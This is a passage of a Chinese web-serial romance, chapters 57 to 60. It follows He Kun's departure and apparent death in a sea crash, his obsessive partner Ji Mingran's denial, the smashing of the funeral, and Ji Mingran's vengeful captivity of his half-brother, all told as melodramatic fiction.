他继续开口讥讽,“你重活一次,费尽心机地接近我,演得那么深情不就是为了弥补你那点可怜的愧疚,好让你自己在新的人生里心安理得吗?” 纪明冉的作践与羞辱还在继续,贺琨声音陡然拔高,带着一种歇斯底里的溃败,眼神空洞得可怕,“够了——” 他从未觉得自己如此累,几乎快喘不过气来,剧烈的咳嗽扯着胸腔的痛,似乎要将血肉模糊的心脏都呕出来才够,像是真的要死了。 贺琨浑浑噩噩地退了几步,像是在远离什么可怖至极的阴魂厉鬼,最后只得凭借着身侧的门框撑住身体。 纪明冉望着贺琨,猩红的双眸似乎要将那散在风雪中的身影硬生生拖拽回来,拖回这由恨意与执念浇筑的空间。 此时此刻,他存心挑着最辛辣的语言,要的就是看见贺琨崩溃,再套出青年此举的目的,就算那个目的是杀死自己——贺琨也不能离开纪明冉。 “看着我重新爱上你,看着我对婚礼满怀期待,是不是很有成就感?可惜忘了给你说了,阿琨,这次婚礼也不单纯是婚礼,只是想利用你做拿捏贺氏的把柄,这都是你欠我的,知道吗?” 贺琨咽下喉头那股铁锈般的腥甜,本是垂着头弯腰咳嗽不止,却低沉沉地笑起来,笑得越来越夸张,甚至有些悚人。 每一次呼吸都扯着看不见的伤口,吸进去的是寒夜的冰凉,呼出来的却是是滚烫的、带着血腥味的绝望。 “欠你?我欠你什么?呵。” 贺琨似乎已经将泪水流尽了,干涸的双眸里只剩下怒意,他走到纪明冉面前,拽住男人的领口,只想狠狠地往这张可恶的面容上淬一口。 “我欠你的,早就还清了!” 突然拉进的距离让纪明冉满眼都是贺琨,他这下却反常地缓缓抬起手,指尖颤抖着描摹,眼神偏执得像要在空气里刻下青年的轮廓。 贺琨皱着眉躲开,突然意识到什么似的,转而笑得充满恶趣味,他太知道纪明冉想要什么了,于是凑近道:“你以为我会恨你吗?不,我很快就会完全忘记你。” 贺琨再次退开,如果眼神可以吃人的话,青年已经被他吞进了骨血中才是,纪明冉带着种近乎贪婪的占有欲,睫毛垂落时投下的阴影,遮不住眼底翻涌的阴鸷,像藏着两簇烧不尽的幽火。 药物还在强行压制,呼吸都变得沉重而缓慢,胸膛的起伏微弱得几乎看不见,却带着即将爆发前令人窒息的压抑。 可是贺琨已经踏出了房门。 纪明冉强撑着连带着椅子倒在地面,打碎的花瓶溅落得满地碎瓷片,他随即严实地压上去,衬衫很快遍布血迹,眼中没有对疼痛的畏惧,只是利用这些痛意保持清醒。 阴狠的瞳仁锁定着那道即将离去背影,声音像是从齿缝里碾出来的,“贺琨,你敢?” 纠缠了两世的爱意消弭,贺琨再也没有感觉,他一步步走入风雪中,脚步踉跄却不停。 纪明冉继续道:“回来杀了我,贺琨你不想报复回来吗?” 只有深爱过的人才明白什么对方最在意什么,贺琨哪有什么目的,他回头深深地看着满身伤痕的人,眸光颤动着却格外明亮。 忽地,贺琨释怀而笑,笑得如同他二人初见时那般灿烂张扬。 纪明冉看见那抹笑容,心有预兆似地慌乱无措,他抬起眉头后压低了眉尾,可怜巴巴的表情浮现在那张精致的脸上,让人心疼得都要碎了,“阿琨,你又不要我了吗?” 贺琨眼皮抖了抖,终是收回视线离去,“是,没有阴谋报复,只是我不要你了。” 不是报复,也并非惩罚,贺琨离开纪明冉只是因为想离开。 他为这个人死过,也为这个人活过,现在将所有都还给纪明冉。 爱已然不存在,恨也没留下,纪明冉已成为过往,而贺琨要去做真正的贺琨了。 纪明冉闻言,瞳孔骤然扩散,眼睁睁地看着那道身影消失在风雪尽头,布满血丝的眼睛里再也映不出任何倒影,直到药力袭来使他彻底闭上双眼。 那便是贺琨最后看向纪明冉的目光,成为了纪明冉日后经年不散的噩梦。 那个眼神里没有半分爱恋,只有一片荒芜的死寂,比远处的雪原更冷。 第57章 第五十七章后知后觉都说纪家后…… 都说纪家后辈中行六的那位爷不仅天资卓绝、才华横溢,品行更是玉洁松贞,一生中没有落下什么污点。 唯有早些年在对家挑起的商战中,被扯入了一场人命官司的争议中,本就是捕风捉影的刻意陷害,有力的澄清发出后很快也就没了声。 纪明冉先生创下的何止是纪氏的不朽,回首再看,更是时代的辉煌,也正是因为他,唱衰纪氏的风言风语不攻自破,纪氏还是那个永屹不倒的纪氏。 可就是这样未曾有过半步行差踏错的纪六爷,唯独选错了自己婚礼的日期,那是极端暴雪的第二天。 不知情的人或许会说这么有权有势,钱还多到烧不完的人,选错便选错了呗,再重新选定一个不就好了。 但是从当年亲眼见过的权贵们的说辞中,以及后来流传的纪录与访谈中所看,似乎并非表面那般简单,那场喜事转眼就变成了哀事,这是轮谁也想不到的。 吴云旗难得起了个大早,还是在冬天的早晨,站在镜子面前捯饬了自己好一会,总而言之就是行为异常。 原本躺在他怀里睡着的漂亮男模很快被这位少爷吵闹整醒了,昨晚可是陪着折腾了好几个姿势,腿根都还火辣辣的疼,美人心里咒了两句,但还是眯笑眯笑地开口:“吴少,这是要去哪里啊,今天中午不一起吃饭吗?” 吴云旗压根不想废话,穿上板正的西装后,就是看那个领结怎么戴怎么不对劲,膈应得要死。 他莫名心燥得慌,都没有等窗帘自动打开的耐心,而是直接走过去唰地掀开。 映入眼帘的雪白延伸到空茫的天际相接,嚯,好大的一场雪。 手机铃声在此刻响起来,是他老爹打来的,吴云旗心中只觉得古怪,他还要去参加阿琨的婚礼呢,可别又被老爹派活,不应该啊,这事他老爹肯定也知道啊。 吴云旗接起电话:“干嘛?” 听筒对面轻啧了一声,父子两似乎都不太看得惯对方,“老子是来告诉你不用去庄园酒店了。” 得真是吴云旗的老子了,不然平时哪有人敢这么呛吴少,他嘟嘟囔囔道:“什么去不去的,不去,我得去阿琨婚礼。” “没有婚礼,最近你找时间去贺家看看,青峰这孩子是好的,和小阿琨感情也好。大雪封路,你也不要乱跑。”吴父默了默,交代完就把电话挂了。 吴云旗皱了皱眉,听不太懂,前几天他和阿琨还发消息来着,有一伙圈子里的杂碎眼红好久,趁着争议事件的浑水,在网上拿着阿琨胡说八道,被他找到收拾了好一顿,可解气了,他还拍给阿琨看笑话呢。 越想越不对劲,他赶紧找到阿琨的电话打过去,却总是什么不在服务区内,饶是现在也总能察觉些许不对劲了,怎么可能不在服务区,婚礼在庄园酒店,不可能。 “突降暴雪,气象台发布最高级别红色预警。沿海盘山公路发生多起险情,其中” 女主播的腔调专业而冰凉,吴云旗蓦然回头,夺过床上半躺着的漂亮模特的手机。 画面骤然切入—— 夜色下风雪狂刮的涯边,一辆扭曲变形的黑色轿车卡在护栏的豁口处,车头悬空,引擎盖翻卷,车尾灯还在风雪中诡异地闪烁,一下又一下。 可就在下一秒,不堪重负的金属栅栏发出刺耳的撕拉声,车身猛地侧滑后翻滚几圈,裹挟着飞溅的碎石,直坠进下方墨黑翻涌的海涛中。 信号似乎因为受天气的影响,响起了刺耳的电流噪音,画面很快扭曲,最终陷入了整片的白色噪点。 镜头再次切回女主播凝重的面色,她继续道:“坠海车辆型号初步判断为吉光品牌定制款,车牌部分损毁,据车辆特征分析,疑似贺氏集团,”她微妙地顿了一下,屏幕上适时切入一张年轻男子证件照,眉眼冷峻,“贺琨先生的私人座驾,目前搜救因恶劣天气受阻,暂无后续” 吴云旗死死盯着屏幕,平日里消停不下半分钟,此时却半晌没有动作,切片报道结束后又自动重播,那片吞噬了车辆的墨黑海域,映出他瞬间褪尽血色的脸。 贺琨已经很多年没有在酒吧夜场玩了,他与吴云旗更多的是私联,两人之间那种一起长大的羁绊是切不断的。 吴云旗身边跟久了的人或许还会知道他和贺琨要好,绝对不会在此刻触吴少的霉头,但是像一夜情这些对象那大概率是不了解的,就比如现下这位小模特。 他长臂顺着吴云旗熨得整齐的西装往上暧昧移动,环住了青年的脖颈,“吴少,这是怎么了?” 青年则是无情甩开漂亮男模,毫无防备的美人额角砸在床角上,顿时鼓起了好大一片,呜咽起来。 吴云旗看向窗外的大雪,被哭的心烦,他也想哭呢,他找谁哭,“待会有人过来,补偿和医疗费你直接要。” 话说完吴云旗就走了,还系什么领带啊,价值高昂的一条好生生的领带,就这样被胡乱揉搓成一团丢了,他先是派了自己的手下去找人,然后开着车就直奔纪氏总部。 吴云旗只能找纪明冉问清楚,昨晚只有他和阿琨待在一起。 让他万万没想的是纪明*冉反而格外冷静,在办公室稳坐了一天,似乎失踪的人无伤大雅、无关紧要。 吴云旗无法硬闯,只能坐在纪明冉私人办公室外的接待室里,从天亮等到了天黑,等得一肚子气。 他就从来没有那么耐心过,但是任是再嚣张的脾气,吴云旗怎么也忍下来了,没在纪氏乱闯,不然回去他老爹就得拿他开刀。 等凌晨时,纪明冉终于出来了。 面色沉静的男人还在那电话会议,直到走到吴云旗面前那一刻,才卡着精确的时间将电话挂断。 因为混血的缘故,就算吴云旗这样一米八几的大个,在纪明冉身高面前还是有些不够看。 男人微微睥睨下来,不动声色,等待着吴云旗先说明来意。 感情合着纪明冉这个法定伴侣都不伤心难过呗。 吴云旗内心唾弃了起码百来次,贺琨这丫的找了什么玩意,他又气又难过,终于憋不住了,直接狠狠推搡了纪明冉一把,不知为何,这大高个竟然还真被搡得退了好多步。 他暗骂肾虚男,凶横地盯着质问道:“昨晚发生了什么?!那么大的雪,阿琨又不是傻了疯了,还把车速开得那么快!” 肃山在后面看着,连忙上前就要阻拦吴云旗,今天凌晨到别墅时,发现纪先生满身染血地昏迷在碎瓷片中,把他和肃江吓得好大一跳。 他俩连忙将人送去医院,花了好几个小时才将碎片完全取出来,包扎好伤口,可刚小憩半小时不到,又爬起来工作了,这会才刚结束。 肃山也看见了关于小贺先生的新闻报道,可是他不敢问。 纪先生除了工作,其余全部的注意力都给了小贺先生,但是今天在医院醒来时,第一件事却是让自己取消婚礼,似乎心中早有预备。 肃山完全忠诚,只听令办事,至于其余的事情,纪先生不说,肃山就当不知道。 回到现在,他朝吴云旗走去,想先柔性安抚试试,没想到纪先生微微摆手示意,肃山停下脚步,不再站出来阻拦。 纪明冉似乎陷入了不好的回忆中,维系了整日的平和在吴云旗的质问中,找到了宣泄的出口,只是他的宣泄并不闹腾,而是诡秘与安静。 男人嘴角升起微笑,见者恶寒,“说不定就是疯了傻了才敢跑。” 吴云旗闻言,眉头猛然锁得死紧,身侧的拳头捏得咯噔作响,他本来还想是不是其他的原因,现在不用想了,直起身子发狠往那张脸上砸去。 纪明冉这个受虐狂也不躲开,只是避开裸露的肌肤,愣是用身子接住了吴云旗的全力一击。 “跑?!呵呵,跑?”吴云旗可能猜到这个疯子脑子里在想什么了,他激切着,“你去试试啊?!那雪那么大,海水那么凉,你跑给我看啊。” 吴云旗本生也是性情中人,提起纪明冉的衣领后,还想再来一拳,可才到半空似乎是想起什么,眼眶憋泪憋得赤红,缓缓松手,愣愣道:“怪不得,怪不得” 吴家是做药物生意发家的,后面越做越大,才开始尝试涉及其他产业,但是作为发家的活计,那只要是上了市场的药物,自然都能联系到供货的商家。 就是前不久的时候,阿琨突然让他去找一种精神类药物,这个药物刚上市不久,基本还没什么知名度,至于临床效果,那更是没有和同类药效的药物大范围对比过。 吴云旗想着不管是谁用嘛,既然是阿琨的朋友那就是他的朋友喽,于是让手底下的去调查,不仅给阿琨找来了这药,还带上了相同疗效的、临床效果好的药物。 结果阿琨只要了自己指名的那个,笃定地说效果好,像是吃过似的,吴云旗大大咧咧的,也没在意。 现在想来恐怕就是阿琨自己要用,所以知道哪种疗效好,至于那类药物,他还记得主要的功能就是针对精神类疾病引发的记忆错乱、认知不清等病症。 纪明冉听见吴云旗的喃喃自语,眸光突然点亮,像是重新燃起了什么希望,他盯着吴云旗缓缓问道,“怪不得什么?” 吴云旗哪里还管纪明冉问什么,他失魂落魄地就要离开,只恨自己没再细心些,也不会让阿琨走到今天,与其同这疯子纠缠,不如去现场盯着找人。 前脚刚踏出门,钻心的痛意从胳膊的关节处袭来,吴云旗反应过来时,已经被纪明冉那个冷脸手下按压在冰冷的墙壁上。 “痛啊,松开我!” “怪不得什么?”纪明冉又耐心重复了一遍,吐字清晰而缓慢。 吴云旗呵呵冷笑,就是轴着不想说。 “吴云旗,你可以保持沉默,但是你父亲怎么办呢?吴氏集团走到今天不容易吧?” 吴云旗闻言而愣,随即身躯开始颤抖。 纪明冉直起身子,弱者的情绪就算忽视了又如何,这就是权势,最优雅的凶器。 “阿琨找我要了一种药,治疗精神类疾病引起的记忆错乱。” 纪明冉闻言先是蹙眉,眼中流露出些许慌乱,“不可能。” 口中在否定,可心底的恐惧却在不断扩展,似乎要将他吞没在稠密的黑中。 吴云旗从纪明冉的面色上发现了蛛丝马迹,想知道真相的他继续道: “那个药物副作用偏强,如果不按医嘱循序渐进地服用,而是强行加大药量的话,会导致肺部功能受损。” 纪明冉瞳孔微凝,身上密密麻麻的伤口又开始痛,想起贺琨日夜不息的咳喘,他似乎也要呼吸不过来。 吴云旗见状还能不明白吗,他放弃了挣扎,有些放空,“你到底把阿琨折腾成什么模样了?” 空气就这样冰冻了几分钟,吴云旗苦笑道:“兰临市那晚,我就不应该叫阿琨去会所玩,让他看见你那张船票。” 第58章 第五十八章搞砸葬礼轻飘飘的两句话…… 轻飘飘的两句话如同利刃刺进纪明冉的心里,寒凉刺骨的冷意毫无预兆地窜遍全身,血腥味涌上喉咙。 原来那晚贺琨说的不是气话,而是真的在忘记他。 纪明冉愣住了,“不可能,新闻是假的,我会找到他的。” “我比你更希望能找到。”吴云旗甩开肃山的压制,拉好凌乱的外套,大力地抖了抖,撂下话便离开了。 在电梯闭合的那秒,他最后瞥了眼站在温暖敞亮的办公室里那个男人,光鲜亮丽,年少有为,不敢再想阿琨坠入的那片海水得有多黑暗冰冷。 大雪连着扬扬洒洒地下了一周,不管是贺青峰那边的人手,还是吴云旗的人都受限于天气条件,没能找到半个人影。 直到第二周天气开始放晴,他们才终于在距离坠落点很远的地方捞到了那张彻底报废的车辆,破碎的车窗,瘪烂的车门,车内空空如也。 时间转眼逝去,天地间冰雪消融,纪明冉依旧在为他的事业而奔波,似乎丝毫没有关注搜救的事宜。 纪贺联姻再次被很多娱乐媒体再次拿到台面上分析,可谓众说纷纭,爱与不爱也在流言蜚语中变得模糊不清,成为只有当事人才知道的秘密。 肃山扶着醉酒的纪先生站在电梯里,今晚应酬纪先生喝了很多,这样压抑低沉的状态已经持续很久了,自从小贺先生离开的那天开始。 不,其实准确来说应该是小贺先生失踪时开始,并且失踪状态很快就会被更改登记为离世。 可纪先生不允许任何人提起失踪或者死亡那些字眼,他固执地认为小贺先生只是短暂地离开了。 贺家那边是沿着汽车坠落点搜寻,纪先生反而是在研究某种药物的走向,就算这个药物生产量较小,但是依旧十分难查。 毕竟从原厂出货后,还会售往很多国家,肃江已经被派出去调查了两周有余,依旧没有丝毫线索,这样的做法与大海捞针没有什么不同。 肃山之前始终不明白应该如何对待小贺先生,只是单纯地敬着,但自此事后清晰彻底地认识到小贺先生在纪先生心中的份量。 纪先生伪装得太好了,有时候甚至骗过了他自己,但如今走到了死亡面前,再也无法掩饰半分。 他内心轻叹,想起今日收到的邮件,难得露出了纠结的神色,扣了扣额角道:“先生,明天贺家要操持贺琨先生的葬礼,您去带吗?” 他声音越说越小,只觉得脖颈越来越凉。 纪明冉醉意下半阖的眼眸颤了颤,电梯门打开,他先一步跨了出去,带着怒意笑道:“为何不去,我倒要去看贺青峰怎么操办?” 肃山跟在纪明冉身后,纪先生这语气他太熟悉了,显然是动怒了,听得他有些内心不安。 其实距离贺琨先生坠崖的时间已过月余,就算没打捞到尸体,贺总操办后事无可厚非。 小贺先生就是牵住纪先生的“绳”。 现在这绳没了,纪先生不仅没了人味,也彻底“疯”了。 纪明冉还住在贺琨租的公寓,因为前段时间租房合同到期,他索性买下来了,所有旧物整齐摆放,处处皆是回忆,如同自虐,又如同自欺欺人。 贺琨的忘记就是背叛,纪明冉偏要全部记得,等找回青年再好好算一笔。 他已经完全沉浸在了自己的世界里,只要没有找到青年的尸体,就不愿相信那些死亡的说法。 翌日,墓园。 一方石碑,隔绝了生与死的距离。 贺青峰站在主位,黑色的西装口袋里别着素白的花,滴水不漏地主持着吊唁,面上没有明显的情绪,但是仔细观察,还是能从那苍白唇色以及疲惫的状态察觉出些许不散的哀愁。 见到纪明冉身影出现,也并未动容半分,像是不认识的陌生人。 纪明冉逐渐走进内场,胸前却突兀地别着朵红玫瑰,他淡淡地瞥过墓碑前那些素白的花,轻啧了一声。 随后用指尖点了点黑白照中青年的脸颊,这照片中笑得意外温和,比婚前那段时间看起来更有几分活力。 贺青峰这时才注意到此人的不敬行为,他上前扣住纪明冉的手腕,压低音量道:“滚出去。” 之所以克制住声音和动作,仅是考虑到这是弟弟的葬礼,他眸色凶戾地盯着纪明冉,好脾气已经要耗光了。 纪明冉推开贺青峰的手,直起身子,优雅地往后退了两步,抿嘴笑笑,薄唇轻启道:“砸。” 话音落下,几个高大的保镖闯进内场,很快将目光所及之处都给砸得乱七八糟,堆满白菊的花架歪斜倒地,残花飘零四散,就连那方石碑也被非自然的力量从中折断。 纪明冉压根不在意他人的目光,只是将青年的瓷像小心翼翼地取回手中,生怕太用力就会碎了,爱怜地摸了又摸。 “贺琨不会死,只是还没找到。” 按住贺青峰的保镖感受到贺青峰的挣扎,加重了手上的力道,疼意使得他冷抽,闻言后扯出一抹讥讽的笑容,“就是你,你的自私害死了贺琨,你再三的利用难道不就是想看见今天的局面吗?” 自从贺琨坠崖后,纪明冉多次将他堵在办公室里威胁质问,问贺青峰,他接走贺琨的那晚,两人到底在房间里商量了什么把戏。 问到最后贺青峰都麻木了,只剩下无情的冷笑,他只觉得纪明冉迟来的深情贱得令人发笑。 可惜纪明冉没有任何反应,只是定定地站在碎裂的石碑前,如同变成了孤魂,游离在空旷的世外。 贺青峰继续无情嘲讽道:“阿琨在婚前的深夜冒险驱车离开,你做了什么,你心里不清楚吗?” “以为所有人都在你的掌握之中?你真自大啊,自大到可怜可悲,呵。”贺青峰眼眶微红,腔调也开始颤抖。 纪明冉终于有了动作,他将青年的相片妥帖珍重地放入内衬的口袋中。 那雪夜里被碎瓷片扎出的伤口,似乎钻进了细小的玻璃纤维,自贺琨坠崖后,便顺着血管永不停歇地涌动,疼得难以呼吸。 他本想故作轻松地垂首笑笑,却没想笑得越发癫狂难抑,直至猩红的眼中都染上泪水。 好荒谬,看看这一切未免实在过于荒谬了。 纪明冉想,要是再早些,最开始就知道贺琨与他都是重生者,会不会和现在就不一样了。 “贺琨没有死,不准给他办葬礼,”他痴恍地转身离去,声音凝涩沉闷:“否则日后我见一次,砸一次。” 那场暴风雪分明没有停过,世界迎来了春天,纪明冉却永远独自停驻在了凛冬。 上午砸的葬礼,下午消息就不胫而走。 “纪六爷打砸爱人葬礼现场”这事也是足够猎奇抓眼。 有听到内幕的爆料人称纪六爷那是因爱生恨,不肯承认爱人已经离世的事实,偷偷嗑起来了。 也有人觉得或许是出于报复,因为他们扒出前段时间某澄清直播上,纪六爷的爱人宣布退婚的说辞。 还有人觉得就是纯疯,有钱人的世界无法理解。 反正足足被热议了一个月才消停。 至于消停的原因,还是因为另一件大事,纪家那位行四的残疾少爷竟然把他同父同母的亲生姐姐纪禾给绑了,结果跑去救人的纪家夫人意外死亡。 而这纪禾竟然还是知名女星妍冰,这事算是彻底爆了。 纪明冉坐在纪宅客厅的主位上,悠闲地端起茶杯浅啜半口,左侧是大姐纪姝,右侧是当事人纪禾。 至于纪柏达,自从出了那蒋斌那人命官司的事情以后。带着他的母亲何女士搬离了纪宅,吃喝玩乐是继续的,但很多事能不管则不管了,慢慢淡出了视野。 纪行思在外求学,事情发生得太仓促了,他可能要明天才能赶回来。 纪清嵩被按压在地上跪着,尽管凭借现在的医疗技术完全可以解决行走问题,但这些年他始终不肯借助外物站立。 纪明冉放下茶盏,落在实木桌上发出悦耳的闷响。 纪姝视线微转,双手交叠在膝上,一改往日作风,对着跪地的男人道:“你真是吃了熊心豹子胆了,什么事都做得出来!” 纪清嵩没有搭理纪姝的问责,而是直勾勾地盯着纪明冉道:“你是什么时候开始做局的?是你放纪夫人闯进来的,是不是?” “丑事是你做的,绑架三姐的废弃工厂也是你选的。”纪明冉平静冷漠地说着,话语间侧眼看了看面容憔悴的纪禾。 纪清嵩一改往日无欲无求的模样,愤恨道:“纪明冉你少装,是你诱导我对纪禾下杀手!” “且不说我并未做过此事,若是你与三姐无冤无仇,为什么会被轻易动摇呢?四哥可要想清楚再说。” 纪清崇先是看了一眼纪姝的脸色,忍了忍才道:“我和姝姐年幼时,被贩卖——” 纪姝闻言秀眉紧锁,起身便是甩了纪清嵩一耳光,打得跪在地上的男人将下半句话咽回了肚子里。 她收回颤抖发红的手,“他脑子不清醒了,还请六弟容他静闭几日,再说不迟。” 纪明冉眼神在两人之间一扫,最后落在跪地之人身上,冷漠中夹杂着恨意,“纪夫人身亡了,行思和纪氏上下都等着交代。” 纪姝当然知道这只不过是个说辞罢了,但是纪明冉的态度已然明了,纪清嵩不可能继续待在纪家了,她无法视而不见,最起码得保下纪清嵩的命 首都正因纪氏的变权而闹得满城风雨,而大洋彼岸小镇某处的小别墅里,和煦的晨风将复古的蕾丝窗帘卷起,躺在软床的青年长睫微微颤动,轻而缓地睁开了双眼。 第59章 第五十九章做个交易空无一物的房间…… 空无一物的房间中,纪清嵩双手被吊起来绑在略高之处,膝盖以下的部分完全泡在淤泥中。 阴冷肮脏的污水不断地侵蚀着他的旧伤,就算是双腿健全的人这般日复一日地泡在其中,都会是莫大的折磨,更遑论他本身就有旧疾。 除此之外,他只能凭借着前脚掌稍微沾到的地面支撑着身体的重量,大部分则是转移在了被捆住的手腕之上发,看起来已经完全淤青,恐怕再吊上几日这双手也就废了。 纪明冉沉默地坐在铁栏外的椅子上,以一种令人毛骨悚然的视线盯着纪清嵩。 这位曾经将他杀死的人,现如今看来也不过如此。 自从纪焯的死亡开始,他开始注意到了纪清嵩,这位看似无欲无求的残疾哥哥,内里却不似表面平和。 如果说纪柏达只是争权夺利,那么纪清嵩则是带着泄愤般的残忍阴辣,怨恨着所有纪家人。 他先是杀死纪焯,紧接着就是给纪父下药,将蒋斌关押折磨直至疯癫后放出接近纪柏达,以此栽赃转移。 目的便是诱导蒋斌自杀,利用蒋斌的死亡事件对纪明冉出手。 纪明冉察觉到危机将计就计,不仅查出了背后真凶纪清崇,还发现此人就是上一世将他杀害的真凶。 而纪清嵩对纪明冉多次出手不成,转而决定先处理了纪禾,殊不知他这次的行动直接将把柄送到了纪明冉的手中。 纪明冉暗中将他的谋害纪禾计划打乱,纪清嵩不得以只能将纪禾暂时搁置两天再继续转移,这时纪家的废弃工厂便成了最好的,掩人耳目的地方。 也就是在那晚,纪明冉找了纪夫人谈话。 纪夫人变化很大,纪焯在世的时她总是温婉得体的模样,纪焯去世后,似乎没有人再承载她的急切,她的渴盼,纪夫人眉间逐渐被浮躁积满,衣着配饰一日胜过一日的艳丽,尽管纪父此时还昏迷不醒地躺在医院里。 “夫人,我是来找您兑换承诺的。”纪明冉靠在门框边,看着小花房里喝着下午茶的女人。 纪夫人神色微变,似乎想到了纪焯葬礼那天夜晚的交易,她略微有些不安,但是没有表现出来,“你要我做什么?” 纪明冉笑笑,没有直接回答,反而问道:“纪禾在纪清嵩手里,你知道她会遭遇什么吗?” 纪夫人手一抖,方糖坠进咖啡中,黑咖色的液体飞溅,落到了她淡绿色的披肩上,她没有及时处理,而是将目光全都投注到了眼前的年轻人身上,充满恐惧与忌惮。 “当年的事,你全部都知道,对不对?!”纪夫人说出口后反而松了气,她收回视线靠在椅背上,“所以你当时才用收养纪行思来和我做交易?原来你早就想利用我?” 纪明冉依旧平静,“我早就和夫人说过‘若要人不知,除非己莫为’,您当年设计纪姝、纪清嵩时,就要知道会有今日。” 他低头看了看腕表,似乎接下来还有事,“纪禾死后下一个就是您,去纪家的废弃工厂吧,拿到纪清嵩谋杀纪禾的证据或可有一搏之力。” 纪明冉将话说完便走了,但是他说得没错,就算纪夫人知道自己成为了夺权的工具,眼下也唯有此路可走,这就是他的谋。 也就是那天晚上,纪明冉收到了关于纪清嵩绑架纪禾以及误杀纪夫人的视频证据,得以名正言顺地拿下纪清嵩。 纪夫人最终没能逃过死劫,只是她最后留下的遗言却出乎了纪明冉的意料。 “明冉,行思是个好孩子,请让他离开吧。” 纪明冉听完纪夫人最后留下的这段语录,静坐直至拂晓。 他想起贺琨离开那晚也曾问过他,要不要一起离开纪家。 贺琨那时是不是也怕了,害怕自己,怕权势扭曲人心,可他是怎么回答的,竟迟钝得一无所察。 如今仇人就在眼前,只剩下半口气吊着,至于权势声望想要的都已得到,纪明冉的心底却从未如此空泛。 “贺琨去哪里了?” 又是这个问题,纪清嵩闻言,抬头的力气都没有了,嘴角还挂着讥讽的笑。 纪明冉将他挂在这里五天五夜,吊着他一口气,翻来覆去地只问这个可笑的事。 而他竟然在被这种蠢人抓住了把柄。 见他不说话,旁边的黑衣男子抬起一桶冰凉的水就泼过来,凉意如同铁片刮过头皮脸颊,房间内的温度被控制在了零点附近,不会结冰但湿漉漉的一切足以要命。 纪清嵩耷拉着眼皮,摇摇晃晃地将脑袋抬起,“呵,死了。” 纪明冉十指相扣的手在无人察觉的角落压到泛白,盯着纪清嵩的眼神更加阴沉血腥。 他既害怕贺琨真的是被纪清嵩劫走的,怕贺琨过得不好,怕贺琨被折磨得不成人样。 他又害怕青年根本不是被劫走的,那么他又该去哪里才能找到贺琨呢。 可隐藏在心底最深的恐惧,也是他迟迟不肯承认的那种可能,就是贺琨真的没了,纪清嵩却不怕死般反复提起。 纪明冉压抑着心中翻腾的戾气,竟也不急着报仇雪恨了。 仅是一个关于贺琨下落的猜测,到现在都保着纪清嵩的烂命。 “你利用他,咳咳,那么顺手,”纪清嵩说话很艰难,似乎每个音节都在喉咙里如刀翻搅,他咽了咽不存在的唾沫,“装什么深情,咳咳哈哈哈” 纪清嵩咳嗽着大笑起来,很快呕出了半口血,笑得更加瘆人了。 纪明冉起身,站在门口处的肃山为他拉开铁门,离开时纪明冉回头侧眸轻扫,如同淬毒的利刃让人发寒。 “看着他,别死了。” “是,先生。”站在门外看守的两个男人异口同声地回答,随后恭敬地目送男人离开。 肃山开着车往城里去,纪先生已经很久没有好好休息了,白天基本在公司办公,晚上就是来此处盯着纪清嵩。 “先生,你要不先休息几日,这边我和肃江看着。” 纪明冉失了神,低哑地说出了心声:“全错了,是我的错……” 肃山隐约听见先生说了句什么,但是又没有听清,他往后视镜里看了看,于是说道:“怎么了,先生?” 纪明冉垂眸而问:“我听贺青峰说,贺琨和他的母亲很像?” 肃山想了想自己之前了解到的信息,于是琢磨着开口:“比起贺家主,小贺先生的外貌性格确实更像贺夫人。” 传闻里,贺夫人的爱恨浓烈而分明,那么是不是意味着贺琨不会原谅他了。 这一次,好像是他把贺琨弄丢了。 离开了那么久的人,还是让纪明冉那么痛,比大雪纷飞的那夜更痛更绵长,像终了一生再也无法愈合。 —— 纪清嵩被纪明冉关起来的第七天,纪姝来到了纪明冉的办公室。 她今日的风格不同于往日,细软乌黑的长发一丝不苟地盘在脑后,露出明晰的五官,浅色调的简约职场套装显得整个人聪慧而利落。 纪明冉带着眼镜坐在桌前,看着手中的文件,都没有抬起头颅便问道:“大姐,有什么事吗?” 纪姝也不急,她心知这是场硬战,来时便做足了心理准备,环视一圈缓缓坐到了沙发之上,“我是来和你做交易的,明冉,不知道你是否感兴趣?” 纪姝此面很新颖,纪明冉只在调查纪姝、纪清嵩失踪那些年的资料中见到过。 记得在那张照片中,纪姝还不是如今这般贤惠温婉的模样,她穿着着利落的夹克和马丁靴,红唇艳过了手间的猩红的烟蒂,押着一批军火。 纪明冉弯起嘴角,明人不说暗话,显然他这位姐姐是位明白人,“不如,大姐先说说看。” “父亲要死了,”纪姝出口很直白,丝毫没有什么避讳,“我帮你拦住纪禾和纪柏达,纪家的家主只会是你。” 纪明冉轻笑道:“大姐糊弄我呢,这两人定然翻不起什么浪花,不如说说你的要求?” 此时,一位女助理端着茶水走进来,一杯清亮的茶水妥帖地放在纪姝身前的茶几上。 纪姝看着杯中水纹道:“纪禾身份公开,如果在此时造势的话,虽说最后定然不及你,但也算个不大不小的麻烦。纪柏达为了他母亲和儿子定是要争的,争的不是家主之位,但也必然是能刮多少算多少。” “嗯,确实。”纪明冉还在等,等纪姝的诚意。 “我想请你放过纪清嵩,放他出国,生死由命。”纪姝狠心继续道,“我以性命担保他此生不会回到国内。” 纪明冉没有回答,只是默默地注视着纪姝,两人在无声的博弈。 “我还会让出手中三分之一的股权。”纪姝继续加码。 “我旗下的新产业前势大好,纪家依托着我的荣光,而非我单纯享受纪家的权势。” 纪明冉已经将纪焯、纪清嵩名下的股份全权转移,基本达到了一手遮天的地步,但他还在收拢。 纪姝有心里准备,于是:“二分之一,如何?” 纪明冉低头在文件上审批,半晌才抬头:“三分之二,买命钱。” 纪姝端起茶杯饮下半盏,她和纪清嵩相依为命的那些年,也从未想过一生能有此般峰回路转、波澜起伏。 但是她还记得被人贩子倒卖时,纪清嵩被拖曳在泥浆里,即使被踩断了右脚,也不肯松开她的那只手。 “成交。” 看着纪姝离开,肃山走进办公室问道:“先生,真的放人吗?” 肃山知道纪清嵩此人似乎在某段时间里曾是纪先生的心魔,他们潜意识里都认为纪清嵩的下场只有死,并且是他们亲眼所见的彻底断气。 可现在先生为什么要放走此人? 纪明冉看着电脑中的监控画面,是半昏半醒的纪清嵩,“放走,派人看着,不准跟丢。” 审问迟迟没有进展,如果纪清嵩知道贺琨的下落,将人放出去或许还能获得线索。 当嘈杂褪去,曾经那些好像不再困扰纪明冉了,他只想再见到贺琨,哪怕只是一面。 第60章 第六十章新的生活机车维修店内,午…… 机车维修店内,午后的阳光斜斜洒进室内,空气里浮动着机油、橡胶和烤箱里飘来的黄油香,懒洋洋地混在一起。 